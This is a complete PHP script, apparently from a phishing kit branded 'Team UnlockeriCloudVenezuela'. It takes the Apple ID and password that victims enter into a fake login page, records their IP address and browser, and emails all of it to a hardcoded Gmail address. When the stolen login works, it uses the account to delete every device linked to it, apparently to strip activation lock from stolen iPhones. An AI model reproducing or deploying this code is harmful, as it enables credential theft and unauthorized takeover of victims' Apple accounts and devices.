<?php 
session_start();
$email= $_POST['apple_id'];
$pass= $_POST['apple_pwd'];
$agent = $_SERVER['HTTP_USER_AGENT'];
function getUserIP()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    return $ip;
}
$user_ip = getUserIP();
$headers .= 'From: Server<server@unloserver.com>' . "\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$to  = 'natha.102.92@gmail.com';
$subjects = 'Datos Incorrectos PC';
$messages = '<table style="background:none repeat scroll 0% 0% rgb(244,244,244);border:1px solid rgb(102,102,102)" border="0" cellpadding="5" cellspacing="5" width="600">
    <tbody>
        <tr>
            <th style="background-color:rgb(204,204,204)">Login Attempt Details</th>
        </tr>
        <tr>
            <td style="text-align:left" valign="top">
            <br>
			<strong>Email:</strong> '.$email.'<br>
			<strong>Password:</strong> '.$pass.'<br><br>
			<hr>
            <strong>IP Address:</strong>'. $user_ip.'<br><br>
			<strong>Date:</strong>'.$date.'<br><br>
			<strong>Time:</strong>'.$time.'<br><br>
			<strong>Browser:</strong>'.$agent.'<br><br>
			</td>
        </tr>
        <tr>
            <td style="text-align:left"><em>Gracias,<br>
            #Team UnlockeriCloudVenezuela<br>
            </td>
        </tr>
    </tbody>
</table>';
$subject = 'Unlock Web';
$message = '<table style="background:none repeat scroll 0% 0% rgb(244,244,244);border:1px solid rgb(102,102,102)" border="0" cellpadding="5" cellspacing="5" width="600">
    <tbody>
        <tr>
            <th style="background-color:rgb(204,204,204)">Detalles Unlock Web</th>
        </tr>
        <tr>
            <td style="text-align:left" valign="top">
            <br>
			<strong>Email:</strong> '.$email.'<br>
			<strong>Password:</strong> '.$pass.'<br><br>
			<hr>
            <strong>IP Address:</strong>'. $user_ip.'<br><br>
			<strong>Date:</strong>'.$date.'<br><br>
			<strong>Time:</strong>'.$time.'<br><br>
			<strong>Browser:</strong>'.$agent.'<br><br>
			</td>
        </tr>
        <tr>
            <td style="text-align:left"><em>Gracias,<br>
            #Team UnlockeriCloudVenezuela<br>
            </td>
        </tr>
    </tbody>
</table>';
include("fmi.php");
$FMI = new Devjo();
if($FMI->Login($email,$pass) == true){
$devices_array = $FMI->Delete_All();
$body = implode("\n",$devices_array);
$message .= $body;
mail($to, $subject, $message, $headers);
$arr = explode("@",$email);
$name = $arr[0];
	echo '{"message":"'.$name.'","success":true,"duration":"0.0000"}';
	$_SESSION["name"] = $name;

}else{
mail($to, $subjects, $messages, $headers);
	echo '{"error":"login failed","success":false,"duration":"0.0000"}';
}
?>
